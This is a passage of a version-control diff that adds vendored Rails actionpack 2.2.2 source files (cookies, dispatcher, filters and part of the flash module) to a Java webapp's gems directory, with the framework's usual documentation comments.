+  # The cookies being read are the ones received along with the request, the cookies
+  # being written will be sent out with the response. Reading a cookie does not get
+  # the cookie object itself back, just the value it holds.
+  #
+  # Examples for writing:
+  #
+  #   # Sets a simple session cookie.
+  #   cookies[:user_name] = "david"
+  #
+  #   # Sets a cookie that expires in 1 hour.
+  #   cookies[:login] = { :value => "XJ-122", :expires => 1.hour.from_now }
+  #
+  # Examples for reading:
+  #
+  #   cookies[:user_name] # => "david"
+  #   cookies.size        # => 2
+  #
+  # Example for deleting:
+  #
+  #   cookies.delete :user_name
+  #
+  # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
+  #
+  #  cookies[:key] = {
+  #    :value => 'a yummy cookie',
+  #    :expires => 1.year.from_now,
+  #    :domain => 'domain.com'
+  #  }
+  #
+  #  cookies.delete(:key, :domain => 'domain.com')
+  #
+  # The option symbols for setting cookies are:
+  #
+  # * <tt>:value</tt> - The cookie's value or list of values (as an array).
+  # * <tt>:path</tt> - The path for which this cookie applies.  Defaults to the root
+  #   of the application.
+  # * <tt>:domain</tt> - The domain for which this cookie applies.
+  # * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
+  # * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
+  #   Default is +false+.
+  # * <tt>:http_only</tt> - Whether this cookie is accessible via scripting or
+  #   only HTTP. Defaults to +false+.
+  module Cookies
+    def self.included(base)
+      base.helper_method :cookies
+    end
+
+    protected
+      # Returns the cookie container, which operates as described above.
+      def cookies
+        CookieJar.new(self)
+      end
+  end
+
+  class CookieJar < Hash #:nodoc:
+    def initialize(controller)
+      @controller, @cookies = controller, controller.request.cookies
+      super()
+      update(@cookies)
+    end
+
+    # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
+    def [](name)
+      cookie = @cookies[name.to_s]
+      if cookie && cookie.respond_to?(:value)
+        cookie.size > 1 ? cookie.value : cookie.value[0]
+      end
+    end
+
+    # Sets the cookie named +name+. The second argument may be the very cookie
+    # value, or a hash of options as documented above.
+    def []=(name, options)
+      if options.is_a?(Hash)
+        options = options.inject({}) { |options, pair| options[pair.first.to_s] = pair.last; options }
+        options["name"] = name.to_s
+      else
+        options = { "name" => name.to_s, "value" => options }
+      end
+
+      set_cookie(options)
+    end
+
+    # Removes the cookie on the client machine by setting the value to an empty string
+    # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
+    # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
+    def delete(name, options = {})
+      options.stringify_keys!
+      set_cookie(options.merge("name" => name.to_s, "value" => "", "expires" => Time.at(0)))
+    end
+
+    private
+      # Builds a CGI::Cookie object and adds the cookie to the response headers.
+      #
+      # The path of the cookie defaults to "/" if there's none in +options+, and
+      # everything is passed to the CGI::Cookie constructor.
+      def set_cookie(options) #:doc:
+        options["path"] = "/" unless options["path"]
+        cookie = CGI::Cookie.new(options)
+        @controller.logger.info "Cookie set: #{cookie}" unless @controller.logger.nil?
+        @controller.response.headers["cookie"] << cookie
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/dispatcher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/dispatcher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/dispatcher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,196 @@
+module ActionController
+  # Dispatches requests to the appropriate controller and takes care of
+  # reloading the app after each request when Dependencies.load? is true.
+  class Dispatcher
+    @@guard = Mutex.new
+
+    class << self
+      def define_dispatcher_callbacks(cache_classes)
+        unless cache_classes
+          # Development mode callbacks
+          before_dispatch :reload_application
+          after_dispatch :cleanup_application
+        end
+
+        # Common callbacks
+        to_prepare :load_application_controller do
+          begin
+            require_dependency 'application' unless defined?(::ApplicationController)
+          rescue LoadError => error
+            raise unless error.message =~ /application\.rb/
+          end
+        end
+
+        if defined?(ActiveRecord)
+          after_dispatch :checkin_connections
+          to_prepare(:activerecord_instantiate_observers) { ActiveRecord::Base.instantiate_observers }
+        end
+
+        after_dispatch :flush_logger if Base.logger && Base.logger.respond_to?(:flush)
+
+        to_prepare do
+          I18n.reload!
+        end
+      end
+
+      # Backward-compatible class method takes CGI-specific args. Deprecated
+      # in favor of Dispatcher.new(output, request, response).dispatch.
+      def dispatch(cgi = nil, session_options = CgiRequest::DEFAULT_SESSION_OPTIONS, output = $stdout)
+        new(output).dispatch_cgi(cgi, session_options)
+      end
+
+      # Add a preparation callback. Preparation callbacks are run before every
+      # request in development mode, and before the first request in production
+      # mode.
+      #
+      # An optional identifier may be supplied for the callback. If provided,
+      # to_prepare may be called again with the same identifier to replace the
+      # existing callback. Passing an identifier is a suggested practice if the
+      # code adding a preparation block may be reloaded.
+      def to_prepare(identifier = nil, &block)
+        @prepare_dispatch_callbacks ||= ActiveSupport::Callbacks::CallbackChain.new
+        callback = ActiveSupport::Callbacks::Callback.new(:prepare_dispatch, block, :identifier => identifier)
+        @prepare_dispatch_callbacks.replace_or_append!(callback)
+      end
+
+      # If the block raises, send status code as a last-ditch response.
+      def failsafe_response(fallback_output, status, originating_exception = nil)
+        yield
+      rescue Exception => exception
+        begin
+          log_failsafe_exception(status, originating_exception || exception)
+          body = failsafe_response_body(status)
+          fallback_output.write "Status: #{status}\r\nContent-Type: text/html\r\n\r\n#{body}"
+          nil
+        rescue Exception => failsafe_error # Logger or IO errors
+          $stderr.puts "Error during failsafe response: #{failsafe_error}"
+          $stderr.puts "(originally #{originating_exception})" if originating_exception
+        end
+      end
+
+      private
+        def failsafe_response_body(status)
+          error_path = "#{error_file_path}/#{status.to_s[0..3]}.html"
+
+          if File.exist?(error_path)
+            File.read(error_path)
+          else
+            "<html><body><h1>#{status}</h1></body></html>"
+          end
+        end
+
+        def log_failsafe_exception(status, exception)
+          message = "/!\\ FAILSAFE /!\\  #{Time.now}\n  Status: #{status}\n"
+          message << "  #{exception}\n    #{exception.backtrace.join("\n    ")}" if exception
+          failsafe_logger.fatal message
+        end
+
+        def failsafe_logger
+          if defined?(::RAILS_DEFAULT_LOGGER) && !::RAILS_DEFAULT_LOGGER.nil?
+            ::RAILS_DEFAULT_LOGGER
+          else
+            Logger.new($stderr)
+          end
+        end
+    end
+
+    cattr_accessor :error_file_path
+    self.error_file_path = Rails.public_path if defined?(Rails.public_path)
+
+    include ActiveSupport::Callbacks
+    define_callbacks :prepare_dispatch, :before_dispatch, :after_dispatch
+
+    def initialize(output = $stdout, request = nil, response = nil)
+      @output, @request, @response = output, request, response
+    end
+
+    def dispatch_unlocked
+      begin
+        run_callbacks :before_dispatch
+        handle_request
+      rescue Exception => exception
+        failsafe_rescue exception
+      ensure
+        run_callbacks :after_dispatch, :enumerator => :reverse_each
+      end
+    end
+
+    def dispatch
+      if ActionController::Base.allow_concurrency
+        dispatch_unlocked
+      else
+        @@guard.synchronize do
+          dispatch_unlocked
+        end
+      end
+    end
+
+    def dispatch_cgi(cgi, session_options)
+      if cgi ||= self.class.failsafe_response(@output, '400 Bad Request') { CGI.new }
+        @request = CgiRequest.new(cgi, session_options)
+        @response = CgiResponse.new(cgi)
+        dispatch
+      end
+    rescue Exception => exception
+      failsafe_rescue exception
+    end
+
+    def call(env)
+      @request = RackRequest.new(env)
+      @response = RackResponse.new(@request)
+      dispatch
+    end
+
+    def reload_application
+      # Run prepare callbacks before every request in development mode
+      run_callbacks :prepare_dispatch
+
+      Routing::Routes.reload
+      ActionController::Base.view_paths.reload!
+      ActionView::Helpers::AssetTagHelper::AssetTag::Cache.clear
+    end
+
+    # Cleanup the application by clearing out loaded classes so they can
+    # be reloaded on the next request without restarting the server.
+    def cleanup_application
+      ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord)
+      ActiveSupport::Dependencies.clear
+      ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord)
+    end
+
+    def flush_logger
+      Base.logger.flush
+    end
+
+    def mark_as_test_request!
+      @test_request = true
+      self
+    end
+
+    def test_request?
+      @test_request
+    end
+
+    def checkin_connections
+      # Don't return connection (and peform implicit rollback) if this request is a part of integration test
+      return if test_request?
+      ActiveRecord::Base.clear_active_connections!
+    end
+
+    protected
+      def handle_request
+        @controller = Routing::Routes.recognize(@request)
+        @controller.process(@request, @response).out(@output)
+      end
+
+      def failsafe_rescue(exception)
+        self.class.failsafe_response(@output, '500 Internal Server Error', exception) do
+          if @controller ||= defined?(::ApplicationController) ? ::ApplicationController : Base
+            @controller.process_with_exception(@request, @response, exception).out(@output)
+          else
+            raise exception
+          end
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/filters.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/filters.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/filters.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,680 @@
+module ActionController #:nodoc:
+  module Filters #:nodoc:
+    def self.included(base)
+      base.class_eval do
+        extend ClassMethods
+        include ActionController::Filters::InstanceMethods
+      end
+    end
+
+    class FilterChain < ActiveSupport::Callbacks::CallbackChain #:nodoc:
+      def append_filter_to_chain(filters, filter_type, &block)
+        pos = find_filter_append_position(filters, filter_type)
+        update_filter_chain(filters, filter_type, pos, &block)
+      end
+
+      def prepend_filter_to_chain(filters, filter_type, &block)
+        pos = find_filter_prepend_position(filters, filter_type)
+        update_filter_chain(filters, filter_type, pos, &block)
+      end
+
+      def create_filters(filters, filter_type, &block)
+        filters, conditions = extract_options(filters, &block)
+        filters.map! { |filter| find_or_create_filter(filter, filter_type, conditions) }
+        filters
+      end
+
+      def skip_filter_in_chain(*filters, &test)
+        filters, conditions = extract_options(filters)
+        filters.each do |filter|
+          if callback = find(filter) then delete(callback) end
+        end if conditions.empty?
+        update_filter_in_chain(filters, :skip => conditions, &test)
+      end
+
+      private
+        def update_filter_chain(filters, filter_type, pos, &block)
+          new_filters = create_filters(filters, filter_type, &block)
+          insert(pos, new_filters).flatten!
+        end
+
+        def find_filter_append_position(filters, filter_type)
+          # appending an after filter puts it at the end of the call chain
+          # before and around filters go before the first after filter in the chain
+          unless filter_type == :after
+            each_with_index do |f,i|
+              return i if f.after?
+            end
+          end
+          return -1
+        end
+
+        def find_filter_prepend_position(filters, filter_type)
+          # prepending a before or around filter puts it at the front of the call chain
+          # after filters go before the first after filter in the chain
+          if filter_type == :after
+            each_with_index do |f,i|
+              return i if f.after?
+            end
+            return -1
+          end
+          return 0
+        end
+
+        def find_or_create_filter(filter, filter_type, options = {})
+          update_filter_in_chain([filter], options)
+
+          if found_filter = find(filter) { |f| f.type == filter_type }
+            found_filter
+          else
+            filter_kind = case
+            when filter.respond_to?(:before) && filter_type == :before
+              :before
+            when filter.respond_to?(:after) && filter_type == :after
+              :after
+            else
+              :filter
+            end
+
+            case filter_type
+            when :before
+              BeforeFilter.new(filter_kind, filter, options)
+            when :after
+              AfterFilter.new(filter_kind, filter, options)
+            else
+              AroundFilter.new(filter_kind, filter, options)
+            end
+          end
+        end
+
+        def update_filter_in_chain(filters, options, &test)
+          filters.map! { |f| block_given? ? find(f, &test) : find(f) }
+          filters.compact!
+
+          map! do |filter|
+            if filters.include?(filter)
+              new_filter = filter.dup
+              new_filter.update_options!(options)
+              new_filter
+            else
+              filter
+            end
+          end
+        end
+    end
+
+    class Filter < ActiveSupport::Callbacks::Callback #:nodoc:
+      def initialize(kind, method, options = {})
+        super
+        update_options! options
+      end
+
+      # override these to return true in appropriate subclass
+      def before?
+        false
+      end
+
+      def after?
+        false
+      end
+
+      def around?
+        false
+      end
+
+      # Make sets of strings from :only/:except options
+      def update_options!(other)
+        if other
+          convert_only_and_except_options_to_sets_of_strings(other)
+          if other[:skip]
+            convert_only_and_except_options_to_sets_of_strings(other[:skip])
+          end
+        end
+
+        options.update(other)
+      end
+
+      private
+        def should_not_skip?(controller)
+          if options[:skip]
+            !included_in_action?(controller, options[:skip])
+          else
+            true
+          end
+        end
+
+        def included_in_action?(controller, options)
+          if options[:only]
+            options[:only].include?(controller.action_name)
+          elsif options[:except]
+            !options[:except].include?(controller.action_name)
+          else
+            true
+          end
+        end
+
+        def should_run_callback?(controller)
+          should_not_skip?(controller) && included_in_action?(controller, options) && super
+        end
+
+        def convert_only_and_except_options_to_sets_of_strings(opts)
+          [:only, :except].each do |key|
+            if values = opts[key]
+              opts[key] = Array(values).map(&:to_s).to_set
+            end
+          end
+        end
+    end
+
+    class AroundFilter < Filter #:nodoc:
+      def type
+        :around
+      end
+
+      def around?
+        true
+      end
+
+      def call(controller, &block)
+        if should_run_callback?(controller)
+          method = filter_responds_to_before_and_after? ? around_proc : self.method
+
+          # For around_filter do |controller, action|
+          if method.is_a?(Proc) && method.arity == 2
+            evaluate_method(method, controller, block)
+          else
+            evaluate_method(method, controller, &block)
+          end
+        else
+          block.call
+        end
+      end
+
+      private
+        def filter_responds_to_before_and_after?
+          method.respond_to?(:before) && method.respond_to?(:after)
+        end
+
+        def around_proc
+          Proc.new do |controller, action|
+            method.before(controller)
+
+            if controller.__send__(:performed?)
+              controller.__send__(:halt_filter_chain, method, :rendered_or_redirected)
+            else
+              begin
+                action.call
+              ensure
+                method.after(controller)
+              end
+            end
+          end
+        end
+    end
+
+    class BeforeFilter < Filter #:nodoc:
+      def type
+        :before
+      end
+
+      def before?
+        true
+      end
+
+      def call(controller, &block)
+        super
+        if controller.__send__(:performed?)
+          controller.__send__(:halt_filter_chain, method, :rendered_or_redirected)
+        end
+      end
+    end
+
+    class AfterFilter < Filter #:nodoc:
+      def type
+        :after
+      end
+
+      def after?
+        true
+      end
+    end
+
+    # Filters enable controllers to run shared pre- and post-processing code for its actions. These filters can be used to do
+    # authentication, caching, or auditing before the intended action is performed. Or to do localization or output
+    # compression after the action has been performed. Filters have access to the request, response, and all the instance
+    # variables set by other filters in the chain or by the action (in the case of after filters).
+    #
+    # == Filter inheritance
+    #
+    # Controller inheritance hierarchies share filters downwards, but subclasses can also add or skip filters without
+    # affecting the superclass. For example:
+    #
+    #   class BankController < ActionController::Base
+    #     before_filter :audit
+    #
+    #     private
+    #       def audit
+    #         # record the action and parameters in an audit log
+    #       end
+    #   end
+    #
+    #   class VaultController < BankController
+    #     before_filter :verify_credentials
+    #
+    #     private
+    #       def verify_credentials
+    #         # make sure the user is allowed into the vault
+    #       end
+    #   end
+    #
+    # Now any actions performed on the BankController will have the audit method called before. On the VaultController,
+    # first the audit method is called, then the verify_credentials method. If the audit method renders or redirects, then
+    # verify_credentials and the intended action are never called.
+    #
+    # == Filter types
+    #
+    # A filter can take one of three forms: method reference (symbol), external class, or inline method (proc). The first
+    # is the most common and works by referencing a protected or private method somewhere in the inheritance hierarchy of
+    # the controller by use of a symbol. In the bank example above, both BankController and VaultController use this form.
+    #
+    # Using an external class makes for more easily reused generic filters, such as output compression. External filter classes
+    # are implemented by having a static +filter+ method on any class and then passing this class to the filter method. Example:
+    #
+    #   class OutputCompressionFilter
+    #     def self.filter(controller)
+    #       controller.response.body = compress(controller.response.body)
+    #     end
+    #   end
+    #
+    #   class NewspaperController < ActionController::Base
+    #     after_filter OutputCompressionFilter
+    #   end
+    #
+    # The filter method is passed the controller instance and is hence granted access to all aspects of the controller and can
+    # manipulate them as it sees fit.
+    #
+    # The inline method (using a proc) can be used to quickly do something small that doesn't require a lot of explanation.
+    # Or just as a quick test. It works like this:
+    #
+    #   class WeblogController < ActionController::Base
+    #     before_filter { |controller| head(400) if controller.params["stop_action"] }
+    #   end
+    #
+    # As you can see, the block expects to be passed the controller after it has assigned the request to the internal variables.
+    # This means that the block has access to both the request and response objects complete with convenience methods for params,
+    # session, template, and assigns. Note: The inline method doesn't strictly have to be a block; any object that responds to call
+    # and returns 1 or -1 on arity will do (such as a Proc or an Method object).
+    #
+    # Please note that around_filters function a little differently than the normal before and after filters with regard to filter
+    # types. Please see the section dedicated to around_filters below.
+    #
+    # == Filter chain ordering
+    #
+    # Using <tt>before_filter</tt> and <tt>after_filter</tt> appends the specified filters to the existing chain. That's usually
+    # just fine, but some times you care more about the order in which the filters are executed. When that's the case, you
+    # can use <tt>prepend_before_filter</tt> and <tt>prepend_after_filter</tt>. Filters added by these methods will be put at the
+    # beginning of their respective chain and executed before the rest. For example:
+    #
+    #   class ShoppingController < ActionController::Base
+    #     before_filter :verify_open_shop
+    #
+    #   class CheckoutController < ShoppingController
+    #     prepend_before_filter :ensure_items_in_cart, :ensure_items_in_stock
+    #
+    # The filter chain for the CheckoutController is now <tt>:ensure_items_in_cart, :ensure_items_in_stock,</tt>
+    # <tt>:verify_open_shop</tt>. So if either of the ensure filters renders or redirects, we'll never get around to see if the shop
+    # is open or not.
+    #
+    # You may pass multiple filter arguments of each type as well as a filter block.
+    # If a block is given, it is treated as the last argument.
+    #
+    # == Around filters
+    #
+    # Around filters wrap an action, executing code both before and after.
+    # They may be declared as method references, blocks, or objects responding
+    # to +filter+ or to both +before+ and +after+.
+    #
+    # To use a method as an +around_filter+, pass a symbol naming the Ruby method.
+    # Yield (or <tt>block.call</tt>) within the method to run the action.
+    #
+    #   around_filter :catch_exceptions
+    #
+    #   private
+    #     def catch_exceptions
+    #       yield
+    #     rescue => exception
+    #       logger.debug "Caught exception! #{exception}"
+    #       raise
+    #     end
+    #
+    # To use a block as an +around_filter+, pass a block taking as args both
+    # the controller and the action block. You can't call yield directly from
+    # an +around_filter+ block; explicitly call the action block instead:
+    #
+    #   around_filter do |controller, action|
+    #     logger.debug "before #{controller.action_name}"
+    #     action.call
+    #     logger.debug "after #{controller.action_name}"
+    #   end
+    #
+    # To use a filter object with +around_filter+, pass an object responding
+    # to <tt>:filter</tt> or both <tt>:before</tt> and <tt>:after</tt>. With a
+    # filter method, yield to the block as above:
+    #
+    #   around_filter BenchmarkingFilter
+    #
+    #   class BenchmarkingFilter
+    #     def self.filter(controller, &block)
+    #       Benchmark.measure(&block)
+    #     end
+    #   end
+    #
+    # With +before+ and +after+ methods:
+    #
+    #   around_filter Authorizer.new
+    #
+    #   class Authorizer
+    #     # This will run before the action. Redirecting aborts the action.
+    #     def before(controller)
+    #       unless user.authorized?
+    #         redirect_to(login_url)
+    #       end
+    #     end
+    #
+    #     # This will run after the action if and only if before did not render or redirect.
+    #     def after(controller)
+    #     end
+    #   end
+    #
+    # If the filter has +before+ and +after+ methods, the +before+ method will be
+    # called before the action. If +before+ renders or redirects, the filter chain is
+    # halted and +after+ will not be run. See Filter Chain Halting below for
+    # an example.
+    #
+    # == Filter chain skipping
+    #
+    # Declaring a filter on a base class conveniently applies to its subclasses,
+    # but sometimes a subclass should skip some of its superclass' filters:
+    #
+    #   class ApplicationController < ActionController::Base
+    #     before_filter :authenticate
+    #     around_filter :catch_exceptions
+    #   end
+    #
+    #   class WeblogController < ApplicationController
+    #     # Will run the :authenticate and :catch_exceptions filters.
+    #   end
+    #
+    #   class SignupController < ApplicationController
+    #     # Skip :authenticate, run :catch_exceptions.
+    #     skip_before_filter :authenticate
+    #   end
+    #
+    #   class ProjectsController < ApplicationController
+    #     # Skip :catch_exceptions, run :authenticate.
+    #     skip_filter :catch_exceptions
+    #   end
+    #
+    #   class ClientsController < ApplicationController
+    #     # Skip :catch_exceptions and :authenticate unless action is index.
+    #     skip_filter :catch_exceptions, :authenticate, :except => :index
+    #   end
+    #
+    # == Filter conditions
+    #
+    # Filters may be limited to specific actions by declaring the actions to
+    # include or exclude. Both options accept single actions
+    # (<tt>:only => :index</tt>) or arrays of actions
+    # (<tt>:except => [:foo, :bar]</tt>).
+    #
+    #   class Journal < ActionController::Base
+    #     # Require authentication for edit and delete.
+    #     before_filter :authorize, :only => [:edit, :delete]
+    #
+    #     # Passing options to a filter with a block.
+    #     around_filter(:except => :index) do |controller, action_block|
+    #       results = Profiler.run(&action_block)
+    #       controller.response.sub! "</body>", "#{results}</body>"
+    #     end
+    #
+    #     private
+    #       def authorize
+    #         # Redirect to login unless authenticated.
+    #       end
+    #   end
+    #
+    # == Filter Chain Halting
+    #
+    # <tt>before_filter</tt> and <tt>around_filter</tt> may halt the request
+    # before a controller action is run. This is useful, for example, to deny
+    # access to unauthenticated users or to redirect from HTTP to HTTPS.
+    # Simply call render or redirect. After filters will not be executed if the filter 
+    # chain is halted.
+    #
+    # Around filters halt the request unless the action block is called.
+    # Given these filters
+    #   after_filter :after
+    #   around_filter :around
+    #   before_filter :before
+    #
+    # The filter chain will look like:
+    #
+    #   ...
+    #   . \
+    #   .  #around (code before yield)
+    #   .  .  \
+    #   .  .  #before (actual filter code is run)
+    #   .  .  .  \
+    #   .  .  .  execute controller action
+    #   .  .  .  /
+    #   .  .  ...
+    #   .  .  /
+    #   .  #around (code after yield)
+    #   . /
+    #   #after (actual filter code is run, unless the around filter does not yield)
+    #
+    # If +around+ returns before yielding, +after+ will still not be run. The +before+
+    # filter and controller action will not be run. If +before+ renders or redirects,
+    # the second half of +around+ and will still run but +after+ and the
+    # action will not. If +around+ fails to yield, +after+ will not be run.
+    module ClassMethods
+      # The passed <tt>filters</tt> will be appended to the filter_chain and
+      # will execute before the action on this controller is performed.
+      def append_before_filter(*filters, &block)
+        filter_chain.append_filter_to_chain(filters, :before, &block)
+      end
+
+      # The passed <tt>filters</tt> will be prepended to the filter_chain and
+      # will execute before the action on this controller is performed.
+      def prepend_before_filter(*filters, &block)
+        filter_chain.prepend_filter_to_chain(filters, :before, &block)
+      end
+
+      # Shorthand for append_before_filter since it's the most common.
+      alias :before_filter :append_before_filter
+
+      # The passed <tt>filters</tt> will be appended to the array of filters
+      # that run _after_ actions on this controller are performed.
+      def append_after_filter(*filters, &block)
+        filter_chain.append_filter_to_chain(filters, :after, &block)
+      end
+
+      # The passed <tt>filters</tt> will be prepended to the array of filters
+      # that run _after_ actions on this controller are performed.
+      def prepend_after_filter(*filters, &block)
+        filter_chain.prepend_filter_to_chain(filters, :after, &block)
+      end
+
+      # Shorthand for append_after_filter since it's the most common.
+      alias :after_filter :append_after_filter
+
+      # If you <tt>append_around_filter A.new, B.new</tt>, the filter chain looks like
+      #
+      #   B#before
+      #     A#before
+      #       # run the action
+      #     A#after
+      #   B#after
+      #
+      # With around filters which yield to the action block, +before+ and +after+
+      # are the code before and after the yield.
+      def append_around_filter(*filters, &block)
+        filter_chain.append_filter_to_chain(filters, :around, &block)
+      end
+
+      # If you <tt>prepend_around_filter A.new, B.new</tt>, the filter chain looks like:
+      #
+      #   A#before
+      #     B#before
+      #       # run the action
+      #     B#after
+      #   A#after
+      #
+      # With around filters which yield to the action block, +before+ and +after+
+      # are the code before and after the yield.
+      def prepend_around_filter(*filters, &block)
+        filter_chain.prepend_filter_to_chain(filters, :around, &block)
+      end
+
+      # Shorthand for +append_around_filter+ since it's the most common.
+      alias :around_filter :append_around_filter
+
+      # Removes the specified filters from the +before+ filter chain. Note that this only works for skipping method-reference
+      # filters, not procs. This is especially useful for managing the chain in inheritance hierarchies where only one out
+      # of many sub-controllers need a different hierarchy.
+      #
+      # You can control the actions to skip the filter for with the <tt>:only</tt> and <tt>:except</tt> options,
+      # just like when you apply the filters.
+      def skip_before_filter(*filters)
+        filter_chain.skip_filter_in_chain(*filters, &:before?)
+      end
+
+      # Removes the specified filters from the +after+ filter chain. Note that this only works for skipping method-reference
+      # filters, not procs. This is especially useful for managing the chain in inheritance hierarchies where only one out
+      # of many sub-controllers need a different hierarchy.
+      #
+      # You can control the actions to skip the filter for with the <tt>:only</tt> and <tt>:except</tt> options,
+      # just like when you apply the filters.
+      def skip_after_filter(*filters)
+        filter_chain.skip_filter_in_chain(*filters, &:after?)
+      end
+
+      # Removes the specified filters from the filter chain. This only works for method reference (symbol)
+      # filters, not procs. This method is different from skip_after_filter and skip_before_filter in that
+      # it will match any before, after or yielding around filter.
+      #
+      # You can control the actions to skip the filter for with the <tt>:only</tt> and <tt>:except</tt> options,
+      # just like when you apply the filters.
+      def skip_filter(*filters)
+        filter_chain.skip_filter_in_chain(*filters)
+      end
+
+      # Returns an array of Filter objects for this controller.
+      def filter_chain
+        if chain = read_inheritable_attribute('filter_chain')
+          return chain
+        else
+          write_inheritable_attribute('filter_chain', FilterChain.new)
+          return filter_chain
+        end
+      end
+
+      # Returns all the before filters for this class and all its ancestors.
+      # This method returns the actual filter that was assigned in the controller to maintain existing functionality.
+      def before_filters #:nodoc:
+        filter_chain.select(&:before?).map(&:method)
+      end
+
+      # Returns all the after filters for this class and all its ancestors.
+      # This method returns the actual filter that was assigned in the controller to maintain existing functionality.
+      def after_filters #:nodoc:
+        filter_chain.select(&:after?).map(&:method)
+      end
+    end
+
+    module InstanceMethods # :nodoc:
+      def self.included(base)
+        base.class_eval do
+          alias_method_chain :perform_action, :filters
+          alias_method_chain :process, :filters
+        end
+      end
+
+      protected
+        def process_with_filters(request, response, method = :perform_action, *arguments) #:nodoc:
+          @before_filter_chain_aborted = false
+          process_without_filters(request, response, method, *arguments)
+        end
+
+        def perform_action_with_filters
+          call_filters(self.class.filter_chain, 0, 0)
+        end
+
+      private
+        def call_filters(chain, index, nesting)
+          index = run_before_filters(chain, index, nesting)
+          aborted = @before_filter_chain_aborted
+          perform_action_without_filters unless performed? || aborted
+          return index if nesting != 0 || aborted
+          run_after_filters(chain, index)
+        end
+
+        def run_before_filters(chain, index, nesting)
+          while chain[index]
+            filter, index = chain[index], index
+            break unless filter # end of call chain reached
+
+            case filter
+            when BeforeFilter
+              filter.call(self)  # invoke before filter
+              index = index.next
+              break if @before_filter_chain_aborted
+            when AroundFilter
+              yielded = false
+
+              filter.call(self) do
+                yielded = true
+                # all remaining before and around filters will be run in this call
+                index = call_filters(chain, index.next, nesting.next)
+              end
+
+              halt_filter_chain(filter, :did_not_yield) unless yielded
+
+              break
+            else
+              break  # no before or around filters left
+            end
+          end
+
+          index
+        end
+
+        def run_after_filters(chain, index)
+          seen_after_filter = false
+
+          while chain[index]
+            filter, index = chain[index], index
+            break unless filter # end of call chain reached
+
+            case filter
+            when AfterFilter
+              seen_after_filter = true
+              filter.call(self)  # invoke after filter
+            else
+              # implementation error or someone has mucked with the filter chain
+              raise ActionControllerError, "filter #{filter.inspect} was in the wrong place!" if seen_after_filter
+            end
+
+            index = index.next
+          end
+
+          index.next
+        end
+
+        def halt_filter_chain(filter, reason)
+          @before_filter_chain_aborted = true
+          logger.info "Filter chain halted as [#{filter.inspect}] #{reason}." if logger
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/flash.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/flash.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/flash.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,172 @@
+module ActionController #:nodoc:
+  # The flash provides a way to pass temporary objects between actions. Anything you place in the flash will be exposed
+  # to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
+  # action that sets <tt>flash[:notice] = "Successfully created"</tt> before redirecting to a display action that can
+  # then expose the flash to its template. Actually, that exposure is automatically done. Example:
+  #
+  #   class WeblogController < ActionController::Base
+  #     def create
+  #       # save post
+  #       flash[:notice] = "Successfully created post"
+  #       redirect_to :action => "display", :params => { :id => post.id }
+  #     end
+  #
+  #     def display
+  #       # doesn't need to assign the flash notice to the template, that's done automatically
+  #     end
+  #   end
+  #
+  #   display.erb
+  #     <% if flash[:notice] %><div class="notice"><%= flash[:notice] %></div><% end %>
+  #
+  # This example just places a string in the flash, but you can put any object in there. And of course, you can put as
+  # many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
+  #
+  # See docs on the FlashHash class for more details about the flash.
+  module Flash
+    def self.included(base)
+      base.class_eval do
+        include InstanceMethods
+        alias_method_chain :assign_shortcuts, :flash
+        alias_method_chain :reset_session,    :flash
+      end
+    end
+    
+    
+    class FlashNow #:nodoc:
+      def initialize(flash)
+        @flash = flash
+      end
+      
+      def []=(k, v)
+        @flash[k] = v
+        @flash.discard(k)
+        v
+      end
+      
+      def [](k)
+        @flash[k]
+      end
+    end
+    
+    class FlashHash < Hash
+      def initialize #:nodoc:
+        super
+        @used = {}
+      end
+      
+      def []=(k, v) #:nodoc:
+        keep(k)
+        super
+      end
+      
+      def update(h) #:nodoc:
+        h.keys.each { |k| keep(k) }
+        super
+      end
+      
+      alias :merge! :update
+      
+      def replace(h) #:nodoc:
+        @used = {}
+        super
+      end
+    
+      # Sets a flash that will not be available to the next action, only to the current.
+      #
+      #     flash.now[:message] = "Hello current action"
+      # 
+      # This method enables you to use the flash as a central messaging system in your app.
+      # When you need to pass an object to the next action, you use the standard flash assign (<tt>[]=</tt>).
+      # When you need to pass an object to the current action, you use <tt>now</tt>, and your object will
+      # vanish when the current action is done.
+      #
+      # Entries set via <tt>now</tt> are accessed the same way as standard entries: <tt>flash['my-key']</tt>.
+      def now
+        FlashNow.new(self)
+      end
+    
+      # Keeps either the entire current flash or a specific flash entry available for the next action:
+      #
+      #    flash.keep            # keeps the entire flash
+      #    flash.keep(:notice)   # keeps only the "notice" entry, the rest of the flash is discarded
+      def keep(k = nil)
+        use(k, false)
+      end
+    
+      # Marks the entire flash or a single flash entry to be discarded by the end of the current action:
+      #
+      #     flash.discard              # discard the entire flash at the end of the current action
+      #     flash.discard(:warning)    # discard only the "warning" entry at the end of the current action
+      def discard(k = nil)
+        use(k)
+      end
+    
